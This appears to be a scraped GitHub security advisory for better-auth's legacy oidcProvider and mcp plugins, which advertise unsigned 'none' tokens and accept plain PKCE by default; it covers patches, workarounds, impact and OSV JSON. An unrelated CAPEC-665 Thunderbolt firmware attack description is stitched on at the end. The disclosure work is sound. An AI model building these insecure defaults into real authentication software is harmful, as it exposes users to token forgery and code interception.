@better-auth/oauth-provider (the deprecation target for oidcProvider) is not affected by either defect. The metadata builder uses a JWSAlgorithms type union that structurally excludes "none". The authorize schema is code_challenge_method: z.literal("S256").optional(), which rejects plain at parse time.
Patches
Fixed in better-auth@1.6.11. The legacy oidcProvider and mcp plugins now:
- Drop
"none"fromid_token_signing_alg_values_supported(both plugins) and fromresource_signing_alg_values_supported(mcp). Discovery no longer advertises the unsigned-token option. - Default
allowPlainCodeChallengeMethodtofalse. A request that explicitly passescode_challenge_method=plainis rejected withinvalid_requestunless the integrator opts in. - Reject a
code_challengewithout an accompanyingcode_challenge_methodinstead of silently rewriting the missing value toplain. Clients that sendcode_challengemust also sendcode_challenge_method=S256.
Discovery and runtime behavior align on S256 only by default.
Integrators who must keep plain PKCE for legacy clients can restore the previous shape with oidcProvider({ allowPlainCodeChallengeMethod: true }) (and likewise for mcp). With the opt-in set, a request that omits code_challenge_method is treated as plain again, preserving backwards compatibility while keeping the secure default for everyone else. Both legacy plugins are deprecated long-term; the recommended migration is @better-auth/oauth-provider, which never advertised none or accepted plain PKCE.
Workarounds
If developers cannot upgrade their applications immediately:
- Disable plain PKCE explicitly: set
oidcProvider({ allowPlainCodeChallengeMethod: false })(and the equivalent onmcp). Closes the runtime acceptance ofplaineven though the silent downgrade still rewrites missing methods. - Override the metadata to drop
"none"fromid_token_signing_alg_values_supported. ForoidcProvider, passmetadata: { id_token_signing_alg_values_supported: ["RS256"] }. Formcp, set the same onoptions.oidcConfig.metadata. Verify by curling the.well-knownendpoint. - Migrate to
@better-auth/oauth-provider: the package is the deprecation target and is unaffected by both defects.
Impact
- Algorithm-negotiation downgrade: relying parties that read the discovery document without pinning may accept unsigned (
alg: "none") tokens. - Authorization-code interception: PKCE
plaindoes not protect the authorization code if the URL leaks (Referer headers, browser history, screen capture, proxy logs). PKCES256is what protects against that exposure; withplainthe protection is absent. - OAuth 2.1 / RFC 9700 non-conformance: deployments shipping the defaults are non-compliant with current standards.
Credit
Reported by @subhanUmer.
Resources
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "better-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-327",
"CWE-757"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T20:55:41Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- Their application uses `better-auth` at a version below the patched release.\n- Their application enables `oidcProvider()` from `better-auth/plugins/oidc-provider` or `mcp()` from `better-auth/plugins/mcp` (the mcp plugin delegates to `oidcProvider` and inherits both defaults).\n- For the algorithm-negotiation impact: relying parties of the application\u0027s OIDC server use a JWT verification library that performs algorithm negotiation from the discovery document without pinning to a specific signing algorithm.\n- For the PKCE impact: the authorization URL is exposed to any party other than the user agent and the application\u0027s OP.\n\nIf the application only uses `@better-auth/oauth-provider` (the canonical replacement) and have not enabled the legacy plugins, it is not affected. The new package\u0027s discovery document excludes `none` and its authorize schema rejects `plain` at parse time.\n\nFix:\n\n1. Upgrade to `better-auth@1.6.11` or later.\n2. Migrate from the deprecated `oidcProvider` and `mcp` plugins to `@better-auth/oauth-provider` when feasible.\n3. If developers cannot upgrade their applications, see workarounds below.\n\n### Summary\n\nThe legacy `oidcProvider` and `mcp` plugins exhibit two related defects in their OIDC discovery and authorize surfaces.\n\nThe discovery document advertises `\"none\"` in `id_token_signing_alg_values_supported` (and, for `mcp`, in `resource_signing_alg_values_supported` on the OAuth protected-resource metadata). Any relying party that performs algorithm negotiation from this metadata without pinning to a real signing algorithm may accept unsigned tokens.\n\nPKCE `plain` is enabled by default. The runtime gate in the authorize handler accepts `code_challenge_method=plain` under this default, and a missing `code_challenge_method` parameter is silently downgraded to `\"plain\"` before the allowlist check. Discovery advertises `code_challenge_methods_supported: [\"S256\"]`, contradicting the runtime acceptance of `plain`. RFC 9700 \u00a72.1.1 (OAuth 2.1) explicitly forbids `plain`.\n\n### Details\n\nThe metadata builders unconditionally inject `\"none\"` into the alg list. The runtime authorize gate is structured so a buggy client that strips the `code_challenge_method` parameter still enters the plain code path because the handler rewrites the missing value to `\"plain\"` before the allowlist check fires.\n\n`@better-auth/oauth-provider` (the deprecation target for `oidcProvider`) is not affected by either defect. The metadata builder uses a `JWSAlgorithms` type union that structurally excludes `\"none\"`. The authorize schema is `code_challenge_method: z.literal(\"S256\").optional()`, which rejects `plain` at parse time.\n\n### Patches\n\nFixed in `better-auth@1.6.11`. The legacy `oidcProvider` and `mcp` plugins now:\n\n- Drop `\"none\"` from `id_token_signing_alg_values_supported` (both plugins) and from `resource_signing_alg_values_supported` (`mcp`). Discovery no longer advertises the unsigned-token option.\n- Default `allowPlainCodeChallengeMethod` to `false`. A request that explicitly passes `code_challenge_method=plain` is rejected with `invalid_request` unless the integrator opts in.\n- Reject a `code_challenge` without an accompanying `code_challenge_method` instead of silently rewriting the missing value to `plain`. Clients that send `code_challenge` must also send `code_challenge_method=S256`.\n\nDiscovery and runtime behavior align on `S256` only by default.\n\nIntegrators who must keep plain PKCE for legacy clients can restore the previous shape with `oidcProvider({ allowPlainCodeChallengeMethod: true })` (and likewise for `mcp`). With the opt-in set, a request that omits `code_challenge_method` is treated as `plain` again, preserving backwards compatibility while keeping the secure default for everyone else. Both legacy plugins are deprecated long-term; the recommended migration is `@better-auth/oauth-provider`, which never advertised `none` or accepted plain PKCE.\n\n### Workarounds\n\nIf developers cannot upgrade their applications immediately:\n\n- **Disable plain PKCE explicitly**: set `oidcProvider({ allowPlainCodeChallengeMethod: false })` (and the equivalent on `mcp`). Closes the runtime acceptance of `plain` even though the silent downgrade still rewrites missing methods.\n- **Override the metadata** to drop `\"none\"` from `id_token_signing_alg_values_supported`. For `oidcProvider`, pass `metadata: { id_token_signing_alg_values_supported: [\"RS256\"] }`. For `mcp`, set the same on `options.oidcConfig.metadata`. Verify by curling the `.well-known` endpoint.\n- **Migrate to `@better-auth/oauth-provider`**: the package is the deprecation target and is unaffected by both defects.\n\n### Impact\n\n- **Algorithm-negotiation downgrade**: relying parties that read the discovery document without pinning may accept unsigned (`alg: \"none\"`) tokens.\n- **Authorization-code interception**: PKCE `plain` does not protect the authorization code if the URL leaks (Referer headers, browser history, screen capture, proxy logs). PKCE `S256` is what protects against that exposure; with `plain` the protection is absent.\n- **OAuth 2.1 / RFC 9700 non-conformance**: deployments shipping the defaults are non-compliant with current standards.\n\n### Credit\n\nReported by @subhanUmer.\n\n### Resources\n\n- [CWE-327: Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-757: Selection of Less-Secure Algorithm During Negotiation](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-1188: Insecure Default Initialization of Resource](https://cwe.mitre.org/data/definitions/1188.html)\n- [RFC 9700 \u00a72.1.1: PKCE](https://datatracker.ietf.org/doc/html/rfc9700#section-2.1.1)\n- [RFC 9700 \u00a72.1.2: Token Replay Prevention](https://datatracker.ietf.org/doc/html/rfc9700#section-2.1.2)\n- [RFC 8414 \u00a72: Authorization Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414#section-2)",
"id": "GHSA-9h47-pqcx-hjr4",
"modified": "2026-07-07T20:55:41Z",
"published": "2026-07-07T20:55:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-9h47-pqcx-hjr4"
},
{
"type": "PACKAGE",
"url": "https://github.com/better-auth/better-auth"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Better Auth has insecure cryptographic defaults in oidcProvider: alg=none advertised and plain PKCE accepted by default"
}
No mitigation information available for this CWE.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.